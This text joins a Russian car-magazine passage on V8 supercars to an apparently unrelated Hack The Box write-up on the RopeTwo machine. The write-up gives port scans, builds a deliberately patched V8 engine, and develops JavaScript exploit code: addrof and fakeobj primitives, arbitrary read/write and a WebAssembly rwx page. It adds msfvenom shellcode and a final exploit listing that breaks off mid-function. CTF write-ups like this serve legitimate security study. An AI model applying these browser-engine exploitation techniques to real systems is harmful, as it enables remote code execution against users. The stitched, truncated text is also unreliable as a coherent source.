Центральномоторный суперкар 488 GTB сменил такую же по компоновке модель 458 Italia, но с атмосферным V8 (4,5 л и 570 л.с.). А у 488 GTB — 3,9-литровый V8 с двумя турбинами и 670 л.с. И турбомотор сумел уделать «Италию» по динамике: если она тратила на разгон до «сотни» 3,4 секунды, то наддувный 488 GTB делает это уже за три, а его максимальная скорость равна 330 км/час (у 458 Italia — 325 км/час). Что ж, за такие яростные показатели измену атмосферным традициям можно и простить. Правда, говорят, что в звуке мотора 488 GT уже нет той итальянской страсти былого «атмосферника», умевшего набирать 9000 об/мин.

Длиннохвостый

Как показывает практика, чтобы сделать большой «табун», вовсе необязательно иметь при этом большой мотор. Британской компании McLaren понадобилось всего 3,8 литра рабочего объема, чтобы сделать один из самых мощных в мире двигателей V8. Это чудище по имени M838T несет в себе суперкар McLaren 675LT, чья приставка в имени LT означает Long Tail, то есть «длинный хвост».

Представленный весной 2015 года McLaren 675LT разлетелся, как горячие пирожки: ограниченную партию в 500 штук покупатели размели буквально за пару месяцев.

Просто 650-сильной модели 650S компании показалось мало. И они вырастили из нее еще более дикую трековую версию с удлиненным задним антикрылом и развитым карбоновым обвесом. Переделанный битурбомотор V8 форсировали с 650 до 675 л.с., а сам гиперкар облегчили, выкинув из него кондиционер, и поставив тонкие стекла и карбоновые сиденья. Итог — разгон до 100 км/час за 2,9 секунды и максимальная скорость в 330 км/час. А на McLaren P1 этот же мотор и вовсе выдает 737 л.с., но тссс, мы же обещали не упоминать гибриды всуе…

Dodge Challenger SRT Hellcat

Dodge Charger SRT Hellcat

Да ты ведьма!

Ну, а теперь угадаете с первого раза, у кого в нашем обзоре оказался самый литражный V8? Ну, вообще да, глупый вопрос, что тут гадать… Хотя новый компрессорный 6,2-литровый V8 Hellcat (переводится как «ведьма») от компании Chrysler стал откровением даже для привыкших к гигантизму американцев! Потому что сегодня это самый мощный мотор компании на серийных моделях, и даже яростный Dodge Viper со своими жалкими 645 «конями» завистливо курит в сторонке. А все потому, что американские мотористы выжали из V8 Hellcat мощность в 527 киловатт или 717 «сил» в привычной нам системе мер (в США заявлена цифра 707 л.с.) и тягу в 880 Нм.

Купе Dodge Challenger SRT Hellcat едет до 100 км/час за 3,9 секунды, а седан Charger SRT Hellcat — и вовсе за 3,5. Максимальная скорость у обоих переваливает за 320 км/час, но только на Challenger SRT Hellcat этот сумасшедший V8 может сочетаться не только с автоматом, но и с «механикой»! Цены? От $65 000 за купе и от $68 000 — за седан.

Сначала дикий мотор примерило спорткупе Challenger, став мощнейшим в истории «масл-каром», а потом его примерила модель Charger, получившая за счет этого V8 титул самого мощного серийного седана в мире. Причем водителю полагаются два ключа зажигания: черный ограничивает мощность на отметке в 500 л.с., а красный позволяет выпустить на волю весь табун. Дальше свирепый мотор запихнули под капот концепта Jeep Trailcat. А в будущем его получит вседорожник Grand Cherokee в «заряженной» версии Trackhawk. Это чтобы всякие там «Кайены» и прочие AMG c М вперемешку сильно не скучали…

Разбираем V8. Заглядываем под капот Chrome на виртуалке с Hack The Box — «Хакер»

Речь, конеч­но же, пой­дет не о цилин­драх и кла­панах. В этой статье мы погово­рим о Google V8 Engine — движ­ке JS, который сто­ит в Chromium и Android. Вер­нее, мы будем ломать его на самой слож­ной в рей­тин­ге сооб­щес­тва Hack The Box тач­ке RopeTwo. Ты узна­ешь, какие типы дан­ных есть в движ­ке, как мож­но ими манипу­лиро­вать, что­бы заг­рузить в память свой экс­пло­ит, научишь­ся исполь­зовать механиз­мы отладки V8, узна­ешь, что такое WebAssembly и как про­ник­нуть бла­года­ря это­му в шелл RopeTwo.

 

Разведка

На­чина­ем, как всег­да, со ска­ниро­вания пор­тов. Оче­вид­но, что на машине такого уров­ня необ­ходимо прой­тись по всем пор­там (TCP + UDP 1–65 535). Для это­го удоб­но исполь­зовать masscan — быс­трый ска­нер пор­тов:

masscan -e tun0 -p1-65535,U:1-65535 10. 10.10.196 --rate=5000
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-12-21 19:41:59 GMT
— forced options: -sS -Pn -n —randomize-hosts -v —send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8060/tcp on 10.10.10.196
Discovered open port 22/tcp on 10.10.10.196
Discovered open port 8000/tcp on 10.10.10.196
Discovered open port 9094/tcp on 10.10.10.196
Discovered open port 5000/tcp on 10.10.10.196

Ви­дим, что откры­то все­го пять пор­тов TCP. Прос­каниру­ем их с прис­трас­тием хорошо всем извес­тным ска­нером Nmap, что­бы узнать под­робнос­ти.

nmap -n -v -Pn -sV -sC -p8060,22,8000,9094,5000, 10.10.10.196

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 bc:d9:40:18:5e:2b:2b:12:3d:0b:1f:f3:6f:03:1b:8f (RSA)
| 256 15:23:6f:a6:d8:13:6e:c4:5b:c5:4a:6f:5a:6b:0b:4d (ECDSA)
|_ 256 83:44:a5:b4:88:c2:e9:28:41:6a:da:9e:a8:3a:10:90 (ED25519)
5000/tcp open http nginx
|_http-favicon: Unknown favicon MD5: F7E3D97F404E71D302B3239EEF48D5F2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots. txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.196:5000/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
8000/tcp open http Werkzeug httpd 0.14.1 (Python 3.7.3)
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-server-header: Werkzeug/0. 14.1 Python/3.7.3
|_http-title: Home
8060/tcp open http nginx 1.14.2
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.14.2
|_http-title: 404 Not Found
9094/tcp open unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ви­дим SSH, три веб‑сер­вера и неиз­вес­тный порт. Идем смот­реть, что нам покажет бра­узер.

На 5000-м портe нас пред­ска­зуемо ждет GitLab, мы это видели в отче­те Nmap.

На 5000-м пор­те — при­ветс­твие GitLab

На 8000-м пор­те — веб‑сер­вер на Python Werkzeug (WSGI) показы­вает нам прос­тень­кий сайт по раз­работ­ке V8 — движ­ка JavaScript с откры­тыми исходни­ками, который раз­рабаты­вают в Google для исполь­зования в бра­узе­ре Chrome и дру­гих про­ектах. Под­робнее о нем мож­но почитать на офи­циаль­ном сай­те.

На 8000-м пор­те — стра­ница с исходни­ками и кон­такта­ми

Прок­рутив стра­ницу, видим ссыл­ку http://gitlab.rope2.htb:5000/root/v8, которая ведет на исходный код.

Ссыл­ка на исходный код

На 8060-м пор­те мы видим 404 Not Found. Порт 9094 на зап­росы отве­чать не хочет.

По тра­диции добавим най­ден­ный домен в /etc/hosts:

10.10.10.196 rope2.htb gitlab.rope2.htb

 

Плацдарм

Раз нам пред­лага­ют пос­мотреть исходные коды, грех не вос­поль­зовать­ся такой воз­можностью.

Ре­пози­торий с исходни­ками V8

Мы видим исходные коды V8 и отдель­ную вет­ку, соз­данную авто­ром ВМ, которая содер­жит один ком­мит с неболь­шими изме­нени­ями. Оче­вид­но, что эти изме­нения дол­жны нам помочь. Изме­нены все­го четыре фай­ла, пос­мотрим на них вни­матель­нее.

Из­менения src/builtins/builtins-definitions. h

В фай­ле заголов­ков добав­лены две фун­кции для работы с мас­сивами: ArrayGetLastElement и ArraySetLastElement. CPP — это мак­рос, который добав­ляет записи этих фун­кций в мас­сив метадан­ных.

Из­менения src/init/bootstrapper.cc

Ин­стал­лиру­ем про­тоти­пы GetLastElement и SetLastElement в качес­тве встро­енных фун­кций.

Из­менения src/compiler/typer.cc

Оп­ределя­ем вызовы фун­кций.

Из­менения src/builtins/builtins-array.cc

Вот мы и доб­рались до самого инте­рес­ного — исходно­го кода самих фун­кций. Фун­кция GetLastElement кон­верти­рует мас­сив в FixedDoubleArray и воз­вра­щает его пос­ледний эле­мент — array[length]. Фун­кция SetLastElement записы­вает передан­ное ей зна­чение в пос­ледний эле­мент array[length] с типом float. Поп­робуй, не читая даль­ше, догадать­ся, в чем тут под­вох.

Пос­коль­ку у меня не было глу­боких зна­ний движ­ка V8, приш­лось прив­лекать на помощь интернет. По клю­чевым выраже­ниям из при­веден­ных выше исходни­ков я доволь­но быс­тро нашел отличный рай­тап Фараза Абра­ра Exploiting v8: *CTF 2019 oob-v8, ком­мит с изме­нени­ями в котором как две кап­ли воды похож на наш.

Я уже пред­вку­шал лег­кую победу, но не тут‑то было. Не буду под­робно рас­писывать весь про­цесс, так как он деталь­но изло­жен в рай­тапе, толь­ко крат­ко зат­рону основные момен­ты и оста­нов­люсь под­робнее на клю­чевых отли­чиях.

Итак, основное отли­чие в ком­митах толь­ко в том, что в рай­тапе за чте­ние и запись эле­мен­тов в мас­сив отве­чает лишь одна фун­кция, которая выпол­няет то или иное дей­ствие в зависи­мос­ти от количес­тва передан­ных ей перемен­ных.

Уяз­вимость же в них одна и та же. Наде­юсь, ты уже догадал­ся, какая? Пос­коль­ку адре­сация мас­сива начина­ется с 0, то array[length] поз­воля­ет нам читать и писать один эле­мент вне гра­ниц мас­сива. Оста­лось понять, как мы можем это исполь­зовать.

 

Поднимаем стенд

Для начала ска­чива­ем diff-файл.

Ска­чива­ем diff

На­зовем файл v8.diff, в кон­це добавим допол­нитель­ный перенос стро­ки, что­бы git apply не ругал­ся.

Да­лее выпол­няем сле­дующие коман­ды (стенд я раз­вернул на Ubuntu 19.04):

[email protected]:~/tools$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
[email protected]:~/tools$ echo «export PATH=/home/artex/depot_tools:$PATH» >> ~/.bashrc
[email protected]:~/tools$ source ~/.bashrc

[email protected]:~$ fetch v8
[email protected]:~$ cd v8
[email protected]:~/v8$ ./build/install-build-deps.sh
[email protected]:~/v8$ git checkout 458c07a7556f06485224215ac1a467cf7a82c14b
[email protected]:~/v8$ gclient sync
[email protected]:~/v8$ git apply —ignore-space-change —ignore-whitespace ../v8.diff
[email protected]:~/v8$ ./tools/dev/v8gen.py x64.release
[email protected]:~/v8$ ninja -C ./out.gn/x64.release # Release version
[email protected]:~/v8$ ./tools/dev/v8gen.py x64.debug
[email protected]:~/v8$ ninja -C . /out.gn/x64.debug # Debug version

Вни­мание: ком­пиляция каж­дого релиза может выпол­нять­ся нес­коль­ко часов!

 

Пишет эксплоит

Пер­вое, что нам необ­ходимо, — добить­ся утеч­ки адре­са мас­сива. Для это­го напишем скрипт, осно­ван­ный на рай­тапе Фараза. Смысл в том, что­бы изме­нить ука­затель obj_array_map мас­сива obj_array на float_array_map мас­сива float_array, так как струк­тура Map у этих объ­ектов отли­чает­ся.

Очень важ­ный момент, на котором осно­вана экс­плу­ата­ция, — в то вре­мя как зап­рос нулево­го индекса float_array воз­вра­щает зна­чение эле­мен­та мас­сива, нулевой индекс obj_array воз­вра­щает ука­затель на объ­ект (который потом пре­обра­зует­ся в зна­чение). И если мы под­меним кар­ту (Map) obj_array кар­той float_array и обра­тим­ся к нулево­му индексу, мы получим не зна­чение эле­мен­та мас­сива, а ука­затель объ­екта в виде float! А бла­года­ря най­ден­ной уяз­вимос­ти заменить кар­ту тру­да не сос­тавля­ет, так как она находит­ся за эле­мен­тами мас­сива в струк­туре JSArray.

var buf = new ArrayBuffer(8);

var f64_buf = new Float64Array(buf);

var u64_buf = new Uint32Array(buf);

function ftoi(val) {

f64_buf[0] = val;

return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);

}

function itof(val) {

u64_buf[0] = Number(val & 0xffffffffn);

u64_buf[1] = Number(val >> 32n);

return f64_buf[0];

}

var obj = {"A":1};

var obj_arr = [obj];

var float_arr = [1.1, 1.2, 1.3, 1.4];

var obj_arr_map = obj_arr.GetLastElement();

var float_arr_map = float_arr.GetLastElement();

function addrof(in_obj) {

obj_arr[0] = in_obj;

obj_arr.SetLastElement(float_arr_map);

let addr = obj_arr[0];

obj_arr.SetLastElement(obj_arr_map);

return ftoi(addr);

}

var arr = [5.5, 5.5, 5.5, 5.5];

console.log(addrof(arr).toString(16));

console.log(%DebugPrint(arr));

Про­буем запус­тить наш скрипт и. .. получа­ем SEGV_ACCERR:

[email protected]:~/v8/out.gn/x64.release# ./d8 --shell --allow-natives-syntax /mnt/share/v8/leak.js
Received signal 11 SEGV_ACCERR 34b4080406f8

==== C stack trace ===============================

[0x5555562d3f74]
[0x7ffff7faaf40]
[0x5555558b40ff]
[0x5555561cfa18]
[end of stack trace]
Segmentation fault (core dumped)

Ключ --allow-natives-syntax поз­воля­ет выпол­нять %DebugPrint() — фун­кцию, которая выводит отла­доч­ную информа­цию об объ­ектах в V8.

Тут мне ста­ло инте­рес­но, что получит­ся, если я заменю diff с HTB oob.diff. Если хочешь пов­торить мой экспе­римент, соз­дай клон ВМ и выпол­ни коман­ды

[email protected]:~/v8$ git apply -R --ignore-space-change --ignore-whitespace . ./v8.diff
[email protected]:~/v8$ git apply ../oob.diff
[email protected]:~/v8$ ./tools/dev/v8gen.py x64.release
[email protected]:~/v8$ ninja -C ./out.gn/x64.release # Release version

Но перед этим необ­ходимо внес­ти сле­дующие прав­ки в oob.diff, так как струк­тура фай­лов и их содер­жимое в новой вер­сии нем­ного поменя­лись.

diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc

index b027d36..ef1002f 100644

--- a/src/init/bootstrapper.cc

+++ b/src/init/bootstrapper.cc

@@ -1668,6 +1668,8 @@ void Genesis::

diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions. h

index 0447230..f113a81 100644

--- a/src/builtins/builtins-definitions.h

+++ b/src/builtins/builtins-definitions.h

@@ -319,6 +319,7 @@ namespace internal {

TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel) \

/* ES6 #sec-array.prototype.push */ \

CPP(ArrayPush) \

+ CPP(ArrayOob) \

TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \

/* ES6 #sec-array.prototype.shift */ \

CPP(ArrayShift)

Так­же в diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc нуж­но испра­вить length()->Number() на length().Number():

+ uint32_t length = static_cast<uint32_t>(array->length().Number());

Как и сле­дова­ло ожи­дать, поменяв в скрип­те наз­вания фун­кций на oob и запус­тив его, я получил тот же резуль­тат! Вывод один — про­изош­ли изме­нения в самом движ­ке V8.

Тут надо упо­мянуть, что в OOB исполь­зовалась вер­сия V8 version 7.5.0, а в нашем слу­чае — V8 version 8.5.0. Поэто­му прос­то взять экс­пло­ит, запус­тить и получить вож­делен­ный шелл не получит­ся.

Приш­лось перечи­тать мас­су информа­ции, преж­де чем приш­ло понима­ние: раз­гадка кро­ется в ком­прес­сии ука­зате­лей, которая появи­лась в новой вер­сии V8.

Что это — опи­сано чуть ниже. Сей­час же дос­таточ­но понять, что в новой вер­сии эле­мен­ты мас­сива float_array 64-бит­ные, а obj_array — толь­ко 32-бит­ные. Поэто­му, что­бы раз­мерность мас­сивов сов­падала, нуж­но добавить еще один эле­мент в мас­сив obj_array.

Итак, испра­вим var obj_arr = [obj]; на var obj_arr = [obj, obj];

[email protected]:~/v8/out.gn/x64.release# . /d8 --allow-natives-syntax /mnt/share/v8/leak.js
41b0800212000000
0x193108086721 <Array map = 0x193108241909>

Segmentation fault боль­ше нет, но адре­са не сов­пада­ют. Догады­ваешь­ся почему? Добавив еще один эле­мент в мас­сив, мы изме­нили его дли­ну, и фун­кция SetLastElement записы­вает зна­чение не туда, куда нам тре­бует­ся (а тре­бует­ся, как ты пом­нишь, заменить ука­затель на объ­ект Map, который рас­положен в памяти сра­зу пос­ле самих эле­мен­тов мас­сива).

К счастью, мы можем лег­ко это испра­вить, добавив строч­ку obj_arr.length = 1;.

[email protected]:~/v8/out.gn/x64.release# ./d8 --allow-natives-syntax /mnt/share/v8/leak.js
80403850808671d
0x0c2b0808671d <JSArray[4]>
5.5,5.5,5. 5,5.5

Бин­го! Если пос­мотреть вни­матель­но, то млад­шие 32 бита сов­пада­ют! А стар­шие не сов­пада­ют, как уже был ска­зано выше, из‑за ком­прес­сии ука­зате­лей.

Не буду опи­сывать, что такое ком­прес­сия ука­зате­лей, Фараз под­робно написал об этом в дру­гой статье.

Для наг­ляднос­ти и луч­шего понима­ния я схе­матич­но изоб­разил, как пред­став­лен в памяти мас­сив объ­ектов и мас­сив чисел с пла­вающей точ­кой (float).

Струк­тура мас­сивов Obj и Float

Ес­ли вкрат­це, этот механизм поз­воля­ет повысить про­изво­дитель­ность движ­ка V8. Стар­шие 32 бита кучи (heap) всег­да оста­вались оди­нако­выми при каж­дом запус­ке движ­ка. Поэто­му раз­работ­чики решили, что нет смыс­ла опе­риро­вать 64-бит­ными ука­зате­лями, пос­коль­ку это лиш­няя тра­та ресур­сов, и вве­ли понятие isolate root — стар­шие 32 бита адре­са, которые всег­да оди­нако­вы и хра­нят­ся в регис­тре R13 (его обоз­вали root register). Поэто­му, что­бы получить пра­виль­ный 64-бит­ный адрес, нам нуж­но было бы зап­росить стар­шие 32 бита в R13. Но это делать необя­затель­но.

Как же нам вый­ти за пре­делы 32-бит­ного прос­транс­тва кучи, спро­сишь ты? Есть спо­соб, который зак­люча­ется в соз­дании объ­екта ArrayBuffer и переза­писи его ука­зате­ля backing_store. Этот ука­затель алло­циру­ет фун­кция PartitionAlloc, которая работа­ет с адре­сами вне кучи. Поэто­му, исполь­зуя объ­ект DataView для записи в память с переза­писан­ным backing_store, мы можем получить при­митив про­изволь­ного чте­ния и записи!

Окей, у нас есть фун­кция addrof, и, если мы инверти­руем ее логику (поменя­ем мес­тами мас­сив объ­ектов и мас­сив float), мы получим фун­кцию fakeobj, которая поможет нам читать из про­изволь­ных учас­тков памяти и писать в них:

function fakeobj(addr) {

float_arr[0] = itof(addr);

float_arr.SetLastElement(obj_arr_map);

let fake = float_arr[0];

float_arr.SetLastElement(float_arr_map);

return fake;

}

var a = [1. 1, 1.2, 1.3, 1.4];

var float_arr = [1.1, 1.2, 1.3, 1.4];

var float_arr_map = float_arr.GetLastElement();

var crafted_arr = [float_arr_map, 1.2, 1.3, 1.4];

console.log("0x"+addrof(crafted_arr).toString(16));

var fake = fakeobj(addrof(crafted_arr)-0x20n);

До­бавим код лис­тинга к пре­дыду­щему и пос­мотрим, что получи­лось.

За­пус­тим скрипт с помощью отладчи­ка.

[email protected]:~/v8/out.gn/x64.release# gdb d8
pwndbg> r --shell --allow-natives-syntax /mnt/share/v8/fake.js
-
0x804038508086911
V8 version 8.5.0 (candidate)
d8> %DebugPrint(crafted_arr);
0x18c108086911 <JSArray[4]>
[4.73859563718219e-270, 1.2, 1.3, 1.4]
-
pwndbg> x/10gx 0x18c108086911-0x28-1 (игнорируем один бит из-за тегирования)
0x18c1080868e8: 0x0000000808040a3d 0x080406e908241909 <— нулевой эле­мент с float_arr_map
0x18c1080868f8: 0x3ff3333333333333 0x3ff4cccccccccccd
0x18c108086908: 0x3ff6666666666666 0x080406e908241909
0x18c108086918: 0x00000008080868e9 0x080869110804035d
0x18c108086928: 0x0804097508040385 0x0808691100000002

Те­гиро­вание ука­зате­лей — это механизм в V8, который нужен для раз­личения типов double, SMI (small integer) и pointer. Из‑за вырав­нивания ука­зате­ли обыч­но ука­зыва­ют на учас­тки памяти, крат­ные 4 и 8. А это зна­чит, что пос­ледние 2–3 бита всег­да рав­ны нулю. V8 исполь­зует это свой­ство, «вклю­чая» пос­ледний бит для обоз­начения ука­зате­ля. Поэто­му для получе­ния исходно­го адре­са нам нуж­но вычесть из тегиро­ван­ного адре­са еди­ницу.

Про­буем записать вто­рой эле­мент (ука­затель на elements) и про­читать его:

crafted_arr[2] = itof(BigInt(0x18c1080868f0)-0x10n+1n);

"0x"+ftoi(fake[0]).toString(16);

Но не тут‑то было, опять получа­ем Segmentation fault.

Тут я надол­го завис с дебаг­гером, пока не вспом­нил о новом раз­мере ука­зате­лей. Ведь раз­мерность эле­мен­тов мас­сива float — 64 бита, поэто­му при замене кар­ты мас­сива на мес­те пер­вого эле­мен­та float ока­зыва­ется вто­рой эле­мент мас­сива obj, в котором раз­мерность эле­мен­тов — 32 бита. Сле­дова­тель­но, записав адрес в пер­вый индекс мас­сива float, мы получим ссыл­ку на elements мас­сива obj.

Дос­таточ­но поменять crafted_arr[2] на crafted_arr[1], и все нач­нет работать как положе­но. А что­бы про­читать жела­емое зна­чение (нулево­го эле­мен­та fake), нуж­но соот­ветс­твен­но поменять и сме­щение elements с 0x10 на 0x08 (так как ука­затель теперь 32-бит­ный). Про­буем.

d8> crafted_arr[1] = itof(BigInt(0x18c1080868f0)-0x8n+1n);
1.3447153912017e-310
-
pwndbg> x/10gx 0x18c108086911-0x28-1
0x18c1080868e8: 0x0000000808040a3d 0x080406e908241909
0x18c1080868f8: 0x000018c1080868e9 0x3ff4cccccccccccd <— записа­ли адрес для чте­ния
0x18c108086908: 0x3ff6666666666666 0x080406e908241909
0x18c108086918: 0x00000008080868e9 0x080869110804035d
0x18c108086928: 0x0804097508040385 0x0808691100000002
d8> "0x"+ftoi(fake[0]). toString(16);
«0x80406e908241909» <— и успешно про­чита­ли зна­чение, на которое он ука­зыва­ет

Объ­ясню под­робнее, как это работа­ет. Соз­дадим мас­сив float и пос­мотрим на отла­доч­ную информа­цию. Запус­кать необ­ходимо в дебаг‑релизе, что­бы уви­деть под­робный вывод %DebugPrint() об адре­сах.

pwndbg> file d8
Reading symbols from d8…
pwndbg> r --shell --allow-natives-syntax
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 —shell —allow-natives-syntax
[Thread debugging using libthread_db enabled]
Using host libthread_db library «/lib/x86_64-linux-gnu/libthread_db.so.1».
var a = [1.1, 1.2, 1.3, 1.4];
[New Thread 0x7ffff3076700 (LWP 2342)]
V8 version 8.5.0 (candidate)
d8> undefined
d8> %DebugPrint(a);
DebugPrint: 0x274a080c5e51: [JSArray]
- map: 0x274a08281909 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x274a0824923d <JSArray[0]>
- elements: 0x274a080c5e29 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x274a080406e9 <FixedArray[0]> {
#length: 0x274a081c0165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x274a080c5e29 <FixedDoubleArray[4]> {
0: 1. 1
1: 1.2
2: 1.3
3: 1.4
}

Ви­дим, что сме­щение elements от начала струк­туры JSArray рав­но 0x28:

0x274a080c5e51-0x274a080c5e29 == 0x28

Пос­мотрим на эле­мен­ты мас­сива, которые находят­ся в памяти перед струк­турой JSArray:

pwndbg> x/10gx 0x274a080c5e51-1-0x28 (игнорируем один бит из-за тегирования)
0x274a080c5e28: 0x0000000808040a3d 0x3ff199999999999a
0x274a080c5e38: 0x3ff3333333333333 0x3ff4cccccccccccd
0x274a080c5e48: 0x3ff6666666666666 0x080406e908281909
0x274a080c5e58: 0x00000008080c5e29 0x82e4079a08040551
0x274a080c5e68: 0x7566280a00000adc 0x29286e6f6974636e

Ну­левой эле­мент мас­сива рас­положен по адре­су

index 0 == 0x274a080c5e30 == elements + 0x08

Пред­положим, мы помес­тим fake_object по адре­су 0x274a080c5e30. Если далее мы заменим в fake_object кар­ту float_arr_map на obj_arr_map (при этом мы затира­ем поле properties, но это нек­ритич­но), то пер­вый индекс мас­сива crafted_arr будет содер­жать ука­затель на эле­мен­ты fake_object, так как раз­мерность ука­зате­лей — 32 бита, а эле­мен­тов мас­сива Float — 64 бита. Поэто­му, обра­тив­шись к fake_object[0], мы про­чита­ем зна­чение по адре­су, который запишем в пер­вый индекс crafted_arr.
Схе­матич­но это мож­но изоб­разить так.

Струк­тура мас­сива для про­изволь­ного чте­ния и записи

Что ж, теперь с помощью вспо­мога­тель­ных фун­кций, которые я не буду под­робно опи­сывать (в кон­це раз­дела будет лис­тинг с ком­мента­риями), мы можем писать и читать про­изволь­ные адре­са!

Ос­талось най­ти область памяти, которая бы поз­воляла еще и выпол­нить в ней наш код (rwx). И такая область есть, с ней работа­ет модуль WebAssembly.

WebAssembly (сок­ращен­но wasm) — безопас­ный и эффектив­ный низ­коуров­невый бинар­ный фор­мат для веба. Сте­ковая вир­туаль­ная машина, исполня­ющая инс­трук­ции бинар­ного фор­мата wasm, может быть запуще­на как в сре­де бра­узе­ра, так и в сер­верной сре­де. Код на wasm — перено­симое абс­трак­тное син­такси­чес­кое дерево, что обес­печива­ет как более быс­трый ана­лиз, так и более эффектив­ное выпол­нение в срав­нении с JavaScript.

Соб­рав экс­пло­ит с уче­том всех опи­сан­ных изме­нений, я вновь получил Segmentation fault.

Об­ласть rwx в текущих реали­заци­ях движ­ка всег­да находит­ся на оди­нако­вом сме­щении от объ­екта WasmInstanceObject. В вер­сии 7.5.0 оно рав­нялось 0x87. Будем выяс­нять, каково оно в 8.5.0. Для это­го соз­дадим прос­той скрипт wasm.js с объ­ектом wasmInstance и запус­тим его под отладчи­ком:

var code_bytes = new Uint8Array([

0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x07,0x01,0x60,0x02,0x7F,0x7F,0x01,

0x7F,0x03,0x02,0x01,0x00,0x07,0x0A,0x01,0x06,0x61,0x64,0x64,0x54,0x77,0x6F,0x00,

0x00,0x0A,0x09,0x01,0x07,0x00,0x20,0x00,0x20,0x01,0x6A,0x0B,0x00,0x0E,0x04,0x6E,

0x61,0x6D,0x65,0x02,0x07,0x01,0x00,0x02,0x00,0x00,0x01,0x00]);

const wasmModule = new WebAssembly.Module(code_bytes.buffer);

const wasmInstance =

new WebAssembly.Instance(wasmModule, {});

const { addTwo } = wasmInstance. exports;

console.log(addTwo(5, 6));

%DebugPrint(wasmInstance);

[email protected]:~/v8/out.gn/x64.debug# gdb d8
--skip--
pwndbg> r --shell --allow-natives-syntax /mnt/share/v8/wasm.js
Using host libthread_db library «/lib/x86_64-linux-gnu/libthread_db.so.1».
[New Thread 0x7ffff3076700 (LWP 5461)]
11
0x2f11082503dc
DebugPrint: 0x2f1108250375: [WasmInstanceObject] in OldSpace
--skip--

По­лучи­ли адрес WasmInstanceObject: 0x2f1108250375. Теперь най­дем в спис­ке про­цес­сов наш скрипт и его PID (ps aux | grep wasm.js) и поищем в его кар­те памяти области rwx:

[email protected]:/home/artex# cat /proc/5457/maps | grep -i rwx
b444a6ea000-b444a6eb000 rwxp 00000000 00:00 0

Ура, есть такая! Мы получи­ли адрес rwx: 0xb444a6ea000. Оста­лось най­ти адрес ука­зате­ля на эту область, для это­го в pwndbg вос­поль­зуем­ся сле­дующей коман­дой:

pwndbg> search -t pointer 0xb444a6ea000
0x2f11082503dc 0xb444a6ea000

Ука­затель рас­положен по адре­су 0x2f11082503dc. Оста­лось рас­счи­тать сме­щение:

python -c 'print(hex(0x2f11082503dc - (0x2f1108250375 - 0x1)))'
0x68

За­меним его в скрип­те. Но есть еще один ука­затель, сме­щение которо­го поменя­лось, это backing_store.

Что­бы его най­ти, опять запус­тим дебаг‑релиз V8 под отладчи­ком:

[email protected]:~/v8/out.gn/x64.debug# gdb d8
-
pwndbg> r --shell --allow-natives-syntax
Starting program: /opt/v8/v8/out.gn/x64.debug/d8 —shell —allow-natives-syntax
-
d8> var buf = new ArrayBuffer(0x100);
undefined
d8> %DebugPrint(buf);
DebugPrint: 0x329e080c5e2d: [JSArrayBuffer]
- map: 0x329e08281189 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x329e082478c1 <Object map = 0x329e082811b1>
- elements: 0x329e080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x5555556f2e80
--skip--

Ви­дим зна­чение backing_store: 0x5555556f2e80. Вычис­лим сме­щение (я выделил его крас­ным), не забыва­ем о little endian.

Сме­щение backing_store

Итак, сме­щение рав­но 0x14.

По­хоже, на этом все, мож­но про­бовать! Готовим наш тес­товый пей­лоад с помощью ути­литы msfvenom. Все, что он дела­ет, — выводит стро­ку «PWNED!».

msfvenom -p linux/x64/exec -f dword CMD='bash -c "echo PWNED!"'
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 64 bytes
Final size of dword file: 194 bytes
0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x00000016,
0x68736162, 0x20632d20, 0x68636522, 0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005

А вот и финаль­ный код экс­пло­ита с ком­мента­риями:

// Вспомогательные функции конвертации между float и Integer

var buf = new ArrayBuffer(8); // 8 byte array buffer

var f64_buf = new Float64Array(buf);

var u64_buf = new Uint32Array(buf);

function ftoi(val) {

f64_buf[0]=val;

return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);

}

function itof(val) { // typeof(val) = BigInt

u64_buf[0] = Number(val & 0xffffffffn);

u64_buf[1] = Number(val >> 32n);

return f64_buf[0];

}

// Создаем addrof-примитив

var obj = {"A":1};

var obj_arr = [obj, obj]; // Массив из двух элементов (чтобы получить размерность 64 бита)

obj_arr. length = 1; // Указываем принудительно размер массива = 1

var float_arr = [1.1, 1.2];

// Из-за переполнения obj_arr[length] и float_arr_map[length] считываем указатель на Map

var obj_arr_map = obj_arr.GetLastElement();

var float_arr_map = float_arr.GetLastElement();

function addrof(in_obj) {

// Помещаем объект, адрес которого нам нужен, в index 0

obj_arr[0] = in_obj;

// Заменяем карту массива obj картой массива float

